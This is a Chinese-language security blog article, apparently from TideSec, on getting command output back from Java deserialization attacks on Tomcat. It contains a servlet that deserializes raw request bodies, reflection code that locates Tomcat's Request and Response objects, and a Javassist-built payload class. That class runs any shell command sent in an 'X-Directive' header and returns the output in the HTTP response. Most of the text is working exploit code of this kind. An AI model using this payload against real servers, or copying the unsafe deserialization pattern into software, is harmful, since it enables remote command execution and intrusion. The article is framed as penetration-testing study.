前言
反序列化命令回显和内存马是反序列化漏洞的具体实现,在渗透过程中主要依靠这两种方式来获取目标权限。因此,这是在学习Java反序列化漏洞过程中绕不开的两个点。由于在实战中遇到的环境都是不可预测的,对于渗透从业者来说就要学习各种中间件的回显方式和内存马注入方法。常用的Java反序列化回显的本质上是利用Java反序列化漏洞在服务器上执行Java代码获取Request、Response对象并将命令执行的接口写入返回给请求端。
反序列化回显
Java反序列化回显的方式有多种,比如中间件回显、写文件(css、js、txt等)、报错回显等等。其中,通过获取request对象来实现命令执行的回显方式是目前最为通用和弊端最少的方式。基本思路如下:第一步:寻找存储request对象的全局变量 Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()或Thread.getThreads()获取。第二步:半自动化反射搜索全局变量 这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。要实现以上的过程需要有相当扎实的代码基础和调试阅读能力,因此推荐一款Java内存对象搜索工具 java-object-searcher 。通过此工具可以快速方便的找到可利用request对象。
Tomcat通用回显
挖掘回显链
环境搭建参考:https://www.cnblogs.com/kibana/p/16084787.html,本次实验环境为JDK1.8、Tomcat8.5.50、idea2020.1,本地搭建环境 后使用 java-object-searcher 搜 索可用request对象,所编写的demo在tomcat7/8上实验通过。给出一个测试例子,在执行反序列化操作处打断点使用java-object-searcher半自动搜索获取利用链。
package
com.webtest;
import
javax.servlet.http.HttpServlet;
import
javax.servlet.http.HttpServletRequest;
import
javax.servlet.http.HttpServletResponse;
import
java.io.IOException;
import
java.io.InputStream;
import
java.io.ObjectInputStream;
public
class
HelloTest
extends
HttpServlet
{
@Override
protected
void
doGet
(HttpServletRequest req, HttpServletResponse resp)
throws
IOException {
InputStream
is
=
req.getInputStream();
ObjectInputStream
ois
=
new
ObjectInputStream
(is);
try
{
ois.readObject();
}
catch
(ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
protected
void
doPost
(HttpServletRequest req,HttpServletResponse resp)
throws
IOException {
InputStream
is
=
req.getInputStream();
ObjectInputStream
ois
=
new
ObjectInputStream
(is);
try
{
ois.readObject();
}
catch
(ClassNotFoundException e) {
e.printStackTrace();
}
}
}
设置筛选条件如下。
//设置搜索类型包含Request关键字的对象
List<Keyword> keys =
new
ArrayList
<>();
keys.add(
new
Keyword
.Builder().setField_type(
"Request"
).build());
//定义黑名单
List<Blacklist> blacklists =
new
ArrayList
<>();
blacklists.add(
new
Blacklist
.Builder().setField_type(
"java.io.File"
).build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS
searcher
=
new
SearchRequstByBFS
(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(
true
);
//挖掘深度为20
searcher.setMax_search_depth(
20
);
//设置报告保存位置
searcher.setReport_save_path(
"D:\apache-tomcat-7.0.94\bin"
);
searcher.searchObject();
在搜索出的利用链中选择一个进行跟进分析。
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [16] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
---> global = {org.apache.coyote.RequestGroupInfo}
通过不断的反射调用最终来到global
Thread
thread
=
Thread.currentThread();
ThreadGroup
group
=
thread.getThreadGroup();
Thread[] threads = group.threads;
Thread
t
=
threads[
14
];
Field
f
=
t.getClass().getDeclaredField(
"target"
);
f.setAccessible(
true
);
Object
target
=
f.get(t);
f = target.getClass().getDeclaredField(
"this$0"
);
f.setAccessible(
true
);
Object
this$0
=
f.get(target);
try
{
f =
this
$
0.
getClass().getDeclaredField(
"handler"
);
}
catch
(NoSuchFieldException e){
f =
this
$
0.
getClass().getSuperclass().getSuperclass().getDeclaredField(
"handler"
);
}
f.setAccessible(
true
);
Object
handler
=
f.get(
this
$
0
);
f = handler.getClass().getDeclaredField(
"global"
);
f.setAccessible(
true
);
Object
global
=
f.get(handler);
进而往下可以找到想要的Request对象。
根据利用链获取Request对象获取请求header头特定内容并打印输出。
package
com.webtest;
import
javax.servlet.annotation.WebServlet;
import
javax.servlet.http.HttpServlet;
import
javax.servlet.http.HttpServletRequest;
import
javax.servlet.http.HttpServletResponse;
/*
* TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [16] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
---> global = {org.apache.coyote.RequestGroupInfo}
* */
@WebServlet("/demo")
public
class
TestDemo
extends
HttpServlet
{
@Override
protected
void
doGet
(HttpServletRequest request, HttpServletResponse response) {
ThreadGroup
group
=
java.lang.Thread.currentThread().getThreadGroup();
java.lang.reflect.
Field
f
=
null
;
Object
obj
=
null
;
String
flag
=
"hello world"
;
Boolean
success
=
false
;
try
{
f = group.getClass().getDeclaredField(
"threads"
);
f.setAccessible(
true
);
Thread[] threads = (Thread[]) f.get(group);
for
(
int
i
=
0
; i < threads.length; i++) {
Thread
t
=
threads[i];
if
(t ==
null
)
continue
;
if
(t.getName().contains(
"exec"
) || !t.getName().contains(
"http"
))
continue
;
System.out.println(t.getName());
f = t.getClass().getDeclaredField(
"target"
);
f.setAccessible(
true
);
Object
target
=
f.get(t);
System.out.println(target.getClass());
f = target.getClass().getDeclaredField(
"this$0"
);
f.setAccessible(
true
);
Object
this$0
=
f.get(target);
System.out.println(
this
$
0.
getClass());
try
{
f =
this
$
0.
getClass().getDeclaredField(
"handler"
);
}
catch
(NoSuchFieldException e0){
f =
this
$
0.
getClass().getSuperclass().getSuperclass().getDeclaredField(
"handler"
);
}
f.setAccessible(
true
);
Object
handler
=
f.get(
this
$
0
);
f = handler.getClass().getDeclaredField(
"global"
);
f.setAccessible(
true
);
Object
global
=
f.get(handler);
System.out.println(global.getClass());
f = global.getClass().getDeclaredField(
"processors"
);
f.setAccessible(
true
);
Object
processors
=
f.get(global);
System.out.println(processors.getClass());
java.util.
ArrayList
processorList
=
(java.util.ArrayList) processors;
for
(
int
j
=
0
; j < processorList.size(); j++) {
Object
processor
=
processorList.get(j);
System.out.println(processor.getClass());
f = processor.getClass().getDeclaredField(
"req"
);
f.setAccessible(
true
);
Object
req
=
f.get(processor);
System.out.println(req.getClass());
Object
resp
=
req.getClass().getMethod(
"getResponse"
).invoke(req);
System.out.println(resp.getClass());
flag = (String) req.getClass().getMethod(
"getHeader"
,
new
Class
[]{String.class}).invoke(req,
new
Object
[]{
"wuhunantong"
});
if
(flag !=
null
&& !flag.isEmpty()){
try
{
Class
cls
=
Class.forName(
"org.apache.tomcat.util.buf.ByteChunk"
);
obj = cls.newInstance();
cls.getDeclaredMethod(
"setBytes"
,
byte
[].class,
int
.class,
int
.class).invoke(obj,flag.getBytes(),
new
Integer
(
0
),
new
Integer
(flag.getBytes().length));
resp.getClass().getDeclaredMethod(
"setStatus"
,
new
Class
[]{Integer.TYPE}).invoke(resp,
new
Object
[]{
new
Integer
(
404
)});
resp.getClass().getDeclaredMethod(
"setHeader"
,
new
Class
[]{String.class,String.class}).invoke(resp,
new
Object
[]{
"flag"
,
"1"
});
resp.getClass().getDeclaredMethod(
"doWrite"
,
new
Class
[]{cls}).invoke(resp,
new
Object
[]{obj});
}
catch
(ClassNotFoundException e1){
Class
cls
=
Class.forName(
"java.nio.ByteBuffer"
);
obj = cls.getDeclaredMethod(
"wrap"
,
new
Class
[]{
byte
[].class}).invoke(cls,
new
Object
[]{flag.getBytes()});
resp.getClass().getDeclaredMethod(
"setStatus"
,
new
Class
[]{Integer.TYPE}).invoke(resp,
new
Object
[]{
new
Integer
(
404
)});
resp.getClass().getDeclaredMethod(
"setHeader"
,
new
Class
[]{String.class,String.class}).invoke(resp,
new
Object
[]{
"flag"
,
"1"
});
resp.getClass().getMethod(
"doWrite"
,
new
Class
[]{cls}).invoke(resp,
new
Object
[]{obj});
}
success =
true
;
}
if
(success)
break
;
}
if
(success)
break
;
}
}
catch
(Exception e) {
}
}
}
适配反序列化利用链
TomcatEcho.java:利用javassit动态生成回显类
package
util.exploit.templates;
import
java.io.IOException;
import
javassist.CannotCompileException;
import
javassist.ClassClassPath;
import
javassist.ClassPool;
import
javassist.CtClass;
import
javassist.CtMethod;
import
javassist.CtNewConstructor;
import
javassist.NotFoundException;
import
org.apache.xalan.xsltc.runtime.AbstractTranslet;
public
class
TomcatEcho
{
public
static
byte
[] getBytes()
throws
CannotCompileException, NotFoundException, IOException {
ClassPool
pool
=
ClassPool.getDefault();
pool.insertClassPath(
new
ClassClassPath
(AbstractTranslet.class));
String
className
=
"TnT"
+ System.nanoTime();
CtClass
ctClass
=
pool.makeClass(className);
ctClass.addMethod(CtMethod.make(
"private static void writeBody(Object var0, byte[] var1) throws Exception {n Object var2;n Class var3;n try {n var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");n var2 = var3.newInstance();n var3.getDeclaredMethod("setBytes", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE}).invoke(var2, new Object[]{var1, new Integer(0), new Integer(var1.length)});n var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});n } catch (NoSuchMethodException var5) {n var3 = Class.forName("java.nio.ByteBuffer");n var2 = var3.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(var3, new Object[]{var1});n var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});n }n }"
, ctClass));
ctClass.addMethod(CtMethod.make(
"private static Object getFV(Object var0, String var1) throws Exception {n java.lang.reflect.Field var2 = null;n Class var3 = var0.getClass();nn while(var3 != Object.class) {n try {n var2 = var3.getDeclaredField(var1);n break;n } catch (NoSuchFieldException var5) {n var3 = var3.getSuperclass();n }n }nn if (var2 == null) {n throw new NoSuchFieldException(var1);n } else {n var2.setAccessible(true);n return var2.get(var0);n }n }"
, ctClass));
ctClass.addConstructor(CtNewConstructor.make(
"public "
+ className +
"() throws Exception {n boolean var4 = false;n Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");nn for(int var6 = 0; var6 < var5.length; ++var6) {n Thread var7 = var5[var6];n if (var7 != null) {n String var3 = var7.getName();n if (!var3.contains("exec") && var3.contains("http")) {n Object var1 = getFV(var7, "target");n if (var1 instanceof Runnable) {n try {n var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");n } catch (Exception var13) {n continue;n }nn java.util.List var9 = (java.util.List)getFV(var1, "processors");nn for(int var10 = 0; var10 < var9.size(); ++var10) {n Object var11 = var9.get(var10);n var1 = getFV(var11, "req");n Object var2 = var1.getClass().getMethod("getResponse", new Class[0]).invoke(var1, new Object[0]);n var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"X-Test"});n if (var3 != null && !var3.isEmpty()) {n var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n var2.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(var2, new Object[]{"X-Test", var3});n var4 = true;n }nn var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"X-Directive"});n if (var3 != null && !var3.isEmpty()) {n var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};n writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());n var4 = true;n }nn var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"showpath"});n if (var3 != null && !var3.isEmpty()) {n var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n writeBody(var2, Thread.currentThread().getContextClassLoader().getResource("").getPath().getBytes());n var4 = true;n }nn if (var4) break;n }nn if (var4) break;n }n }n }n }n }"
, ctClass));
CtClass
superC
=
pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superC);
ctClass.getClassFile().setMajorVersion(
50
);
return
ctClass.toBytecode();
}
}
修改payload.java
修改Gadget.java#creatTemplatesImpl 添加回显支持
本地测试可以正常得到执行回显结果。
参考链接
https://github.com/feihong-cs/Java-Rce-Echo/ https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
本文作者: TideSec
本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/200930.html